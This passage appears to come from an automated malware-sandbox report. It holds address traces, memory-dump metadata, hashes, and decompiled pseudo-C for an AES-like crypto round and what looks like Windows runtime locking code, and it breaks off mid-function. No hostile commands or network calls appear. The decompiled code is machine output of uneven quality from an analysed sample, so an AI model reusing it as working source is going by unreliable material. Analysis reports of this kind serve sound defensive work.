0x00dc4199
0x00dc4432
0x00dc4439
0x00dc443d
0x00dc4442
0x00dc4447
0x00000000
0x00dc419f
0x00dc41a3
0x00dc41b1
0x00dc41b9
0x00dc41bd
0x00dc45db
0x00dc45db
0x00000000
0x00dc41c3
0x00dc41c3
0x00dc41ce
0x00dc41d4
0x00e0e138
0x00e0e13e
0x00e0e169
0x00e0e16d
0x00e0e19e
0x00e0e16f
0x00e0e16f
0x00e0e175
0x00e0e179
0x00e0e18f
0x00e0e193
0x00000000
0x00e0e199
0x00000000
0x00e0e199
0x00e0e193
0x00000000
0x00000000
0x00000000
0x00dc41da
0x00dc41da
0x00dc41df
0x00dc41e4
0x00dc41ec
0x00dc4203
0x00dc4207
0x00e0e1fd
0x00dc4222
0x00dc4226
0x00e0e1f3
0x00e0e1f3
0x00dc422c
0x00dc422c
0x00dc4233
0x00e0e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc4239
0x00dc4239
0x00dc4239
0x00dc4239
0x00dc4233
0x00dc4226
0x00dc41ee
0x00dc41ee
0x00dc41f4
0x00dc4575
0x00e0e1b1
0x00e0e1b1
0x00000000
0x00dc457b
0x00dc457b
0x00dc4582
0x00e0e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc4588
0x00dc4588
0x00dc458c
0x00e0e1c4
0x00e0e1c4
0x00000000
0x00dc4592
0x00dc4592
0x00dc4599
0x00e0e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc459f
0x00dc459f
0x00dc45a3
0x00e0e1d7
0x00e0e1e4
0x00000000
0x00dc45a9
0x00dc45a9
0x00dc45b0
0x00e0e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc45b6
0x00dc45b6
0x00dc45b6
0x00000000
0x00dc45b6
0x00dc45b0
0x00dc45a3
0x00dc4599
0x00dc458c
0x00dc4582
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc41f4
0x00dc423e
0x00dc4241
0x00dc45c0
0x00dc45c4
0x00000000
0x00dc45ca
0x00dc45ca
0x00000000
0x00e0e207
0x00e0e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x00dc45d1
0x00000000
0x00000000
0x00dc45ca
0x00000000
0x00dc4247
0x00dc4247
0x00dc4247
0x00dc4249
0x00dc4249
0x00dc4249
0x00dc4251
0x00dc4251
0x00dc4257
0x00dc425f
0x00dc426e
0x00dc4270
0x00dc427a
0x00e0e219
0x00e0e219
0x00dc4280
0x00dc4282
0x00dc4456
0x00dc45ea
0x00000000
0x00dc45f0
0x00e0e223
0x00000000
0x00e0e223
0x00dc445c
0x00dc445c
0x00000000
0x00dc445c
0x00000000
0x00dc4288
0x00dc428c
0x00e0e298
0x00dc4292
0x00dc4292
0x00dc429e
0x00dc42a3
0x00dc42a7
0x00dc42ac
0x00e0e22d
0x00dc42b2
0x00dc42b2
0x00dc42b9
0x00dc42bc
0x00dc42c2
0x00dc42ca
0x00dc42cd
0x00dc42cd
0x00dc42d4
0x00dc433f
0x00dc433f
0x00dc42d6
0x00dc42d6
0x00dc42d9
0x00dc42dd
0x00dc42eb
0x00e0e23a
0x00dc42f1
0x00dc4305
0x00dc430d
0x00dc4315
0x00dc4318
0x00dc431f
0x00dc4322
0x00dc432e
0x00dc433b
0x00dc433b
0x00000000
0x00dc432e
0x00dc42eb
0x00dc434c
0x00dc434e
0x00dc4352
0x00dc4359
0x00dc435e
0x00dc4361
0x00dc436e
0x00dc438a
0x00dc438e
0x00dc4396
0x00dc439e
0x00dc43a1
0x00dc43ad
0x00dc43bb
0x00dc43bb
0x00dc43ad
0x00dc436e
0x00dc43bf
0x00dc43c5
0x00dc4463
0x00dc4463
0x00dc43ce
0x00dc43d5
0x00dc43d9
0x00dc43df
0x00dc4475
0x00dc4479
0x00dc4491
0x00dc4491
0x00dc4479
0x00dc43e5
0x00dc43eb
0x00dc43f4
0x00dc43f6
0x00dc43f9
0x00dc43fc
0x00dc43ff
0x00dc44e8
0x00dc44ed
0x00dc44f3
0x00e0e247
0x00000000
0x00dc44f9
0x00dc4504
0x00dc4508
0x00dc450f
0x00e0e269
0x00000000
0x00dc4515
0x00dc4519
0x00dc4531
0x00dc4534
0x00dc4537
0x00dc453e
0x00dc4541
0x00dc454a
0x00e0e255
0x00e0e255
0x00e0e25b
0x00e0e25e
0x00e0e261
0x00e0e261
0x00dc4555
0x00dc4559
0x00dc455d
0x00e0e26d
0x00e0e270
0x00e0e274
0x00e0e27a
0x00e0e27d
0x00e0e28e
0x00e0e28e
0x00dc4563
0x00dc4563
0x00dc4569
0x00dc4569
0x00000000
0x00dc455d
0x00dc450f
0x00000000
0x00dc44f3
0x00dc43ff
0x00dc4405
0x00dc4405
0x00dc4405
0x00dc42ac
0x00dc428c
0x00dc4282
0x00dc4407
0x00dc440d
0x00e0e2af
0x00e0e2af
0x00dc4413
0x00dc4413
0x00000000
0x00dc41d4
0x00000000
0x00dc41c3
0x00dc41bd
0x00dc4415
0x00dc4415
0x00dc4416
0x00dc4417
0x00dc4429
0x00dc416e
0x00dc416e
0x00dc4175
0x00dc4498
0x00dc449f
0x00e0e12d
0x00000000
0x00e0e133
0x00000000
0x00e0e133
0x00dc44a5
0x00dc44a5
0x00dc44aa
0x00000000
0x00dc44bb
0x00dc44ca
0x00dc44d6
0x00dc44d7
0x00dc44d8
0x00dc44e3
0x00dc44e3
0x00dc44aa
0x00dc417b
0x00dc417b
0x00dc417b
0x00000000
0x00dc417b
0x00dc4175
0x00000000

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e46e8940fa1601f7efaf1a4a5076468200462d4844e2ec5bc42edd7f693ffa8
Instruction ID: 4959d778ee899071adb22b862f4a0c5da745f3489b73004e65956e78e8a75c85
Opcode Fuzzy Hash: 9e46e8940fa1601f7efaf1a4a5076468200462d4844e2ec5bc42edd7f693ffa8
Instruction Fuzzy Hash: 7FF16C705083528BC728CF59C4A1B3AB7E1EF98714F18892EF486DB390E774D985DB62

Uniqueness

Uniqueness Score: -1.00%

Function 00012FB0 Relevance: .4, Instructions: 435
COMMONCrypto

Download Yara Rule

C-Code - Quality: 26%

			E00012FB0(void* __eax, signed int* __ecx, signed int* __edx, signed int _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				void* _t273;
				signed int _t274;
				signed int _t282;
				signed int* _t358;
				signed int _t383;
				signed int* _t409;
				signed int _t429;
				signed int _t458;
				signed int _t478;
				signed int _t560;
				signed int _t603;

				_t273 = __eax;
				asm("ror edi, 0x8");
				asm("rol edx, 0x8");
				_t458 = ( *__edx & 0xff00ff00 |  *__edx & 0x00ff00ff) ^  *__ecx;
				asm("ror ebx, 0x8");
				asm("rol edx, 0x8");
				_v20 = _t458;
				_v8 = (__edx[1] & 0xff00ff00 | __edx[1] & 0x00ff00ff) ^ __ecx[1];
				asm("ror ebx, 0x8");
				asm("rol edx, 0x8");
				_t282 = (__edx[2] & 0xff00ff00 | __edx[2] & 0x00ff00ff) ^ __ecx[2];
				asm("ror esi, 0x8");
				asm("rol edx, 0x8");
				_v12 = (__edx[3] & 0xff00ff00 | __edx[3] & 0x00ff00ff) ^ __ecx[3];
				asm("ror edx, 0x10");
				asm("ror esi, 0x8");
				asm("rol esi, 0x8");
				_v24 = _t282;
				_t429 =  *(__eax + 4 + (_t282 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[4];
				asm("ror esi, 0x10");
				asm("ror ebx, 0x8");
				asm("rol ebx, 0x8");
				_t603 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t282 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[5];
				asm("ror ebx, 0x8");
				asm("ror edi, 0x10");
				asm("rol edi, 0x8");
				_v16 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t458 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ __ecx[6];
				asm("ror edi, 0x10");
				asm("ror ebx, 0x8");
				asm("rol ebx, 0x8");
				_t409 =  &(__ecx[8]);
				_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
				_t478 = (_a4 >> 1) - 1;
				_a4 = _t478;
				if(_t478 != 0) {
					do {
						asm("ror edi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_v20 =  *(__eax + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) ^  *_t409;
						asm("ror edi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_v8 =  *(__eax + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[1];
						asm("ror ebx, 0x8");
						asm("ror edi, 0x10");
						asm("rol edi, 0x8");
						_t383 =  *(__eax + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t603 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[2];
						asm("ror edi, 0x10");
						asm("ror edx, 0x8");
						asm("rol edx, 0x8");
						_v24 = _t383;
						_t560 =  *(__eax + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v16 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[3];
						asm("ror edx, 0x10");
						asm("ror esi, 0x8");
						asm("rol esi, 0x8");
						_t429 =  *(__eax + 4 + (_t383 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t560 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[4];
						asm("ror esi, 0x10");
						asm("ror ebx, 0x8");
						asm("rol ebx, 0x8");
						_t603 =  *(__eax + 4 + (_t560 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t383 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[5];
						_v12 = _t560;
						asm("ror edi, 0x8");
						asm("ror ebx, 0x10");
						asm("rol ebx, 0x8");
						_v16 =  *(__eax + 4 + (_t560 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[6];
						asm("ror ebx, 0x10");
						asm("ror edi, 0x8");
						asm("rol edi, 0x8");
						_t409 =  &(_t409[8]);
						_t205 =  &_a4;
						 *_t205 = _a4 - 1;
						_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
					} while ( *_t205 != 0);
				}
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				 *_a8 = (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0xff00ff00 | (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0x00ff00ff;
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				_a8[1] = (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0xff00ff00 | (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0x00ff00ff;
				asm("ror ebx, 0x8");
				asm("rol edi, 0x8");
				_t358 = _a8;
				_t358[2] = (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0xff00ff00 | (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0x00ff00ff;
				_t274 =  *(_t273 + 5 + (_v16 & 0x000000ff) * 4) & 0x000000ff;
				asm("ror ecx, 0x8");
				asm("rol edi, 0x8");
				_t358[3] = (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0xff00ff00 | (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0x00ff00ff;
				return _t274;
			}

0x00012fb0
0x00012fbf
0x00012fc8
0x00012fd6
0x00012fda
0x00012fe3
0x00012ff4
0x00012ff7
0x00012ffc
0x00013005
0x00013013
0x00013018
0x00013021
0x00013031
0x00013051
0x00013054
0x00013066
0x0001306b
0x00013080
0x0001309d
0x000130a0
0x000130b1
0x000130c6
0x000130e6
0x000130e9
0x000130fb
0x00013119
0x00013136
0x00013139
0x0001314b
0x00013160
0x00013166
0x0001316e
0x0001316f
0x00013172
0x00013180
0x00013190
0x000131a2
0x000131b4
0x000131d0
0x000131e3
0x000131f0
0x00013201
0x00013218
0x0001323a
0x0001323d
0x0001324e
0x00013269
0x00013280
0x00013283
0x00013295
0x0001329d
0x000132b2
0x000132cf
0x000132d2
0x000132e3
0x00013307
0x00013317
0x0001331a
0x0001332c
0x00013344
0x00013347
0x0001335a
0x00013367
0x00013379
0x00013391
0x000133b4
0x000133b7
0x000133c9
0x000133de
0x000133e4
0x000133e4
0x000133e7
0x000133e7
0x00013180
0x0001344b
0x00013454
0x00013462
0x000134c0
0x000134c9
0x000134d7
0x00013539
0x00013542
0x0001354f
0x00013552
0x0001359e
0x000135aa
0x000135b3
0x000135c0
0x000135c7

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction ID: 11f763530eaa32e23c13bbd3624a3ae47b3b071717d7005ca1c35e17ab1418a6
Opcode Fuzzy Hash: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
Instruction Fuzzy Hash: 43026E73E547165FE720CE4ACDC4765B3A3EFC8301F5B81B8CA142B613CA39BA525A90

Uniqueness

Uniqueness Score: -1.00%

Function 00DD20A0 Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00DD20A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0xe98714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = L00DD2EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = L00DD2EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E00DA58EC(_t240);
									_t221 =  *0xe95cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0xe95cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E00DE4A2C(0xe96e40, 0xde4b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = L00DC7D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0xd85c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = L00DDF6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = L00DDF6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E00E27016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L00DC2400(_t267 + 0x20);
															}
															L00DC2400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E00DD2397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E00DC2280(_t134, 0xe98608);
									__eflags =  *0xe96e48 - _t253; // 0x0
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										L00DBFFB0(_t198, _t241, 0xe98608);
										__eflags = _t253;
										if(_t253 != 0) {
											L00DC77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0xe96e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0xe98608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E00DD6B90(_t210,  &_v64);
										_t262 =  *0xe98608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E00DDE180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										L00DE97C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E00DE006A(0xe98608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0xe98608);
												E00DEB180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0xe96904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
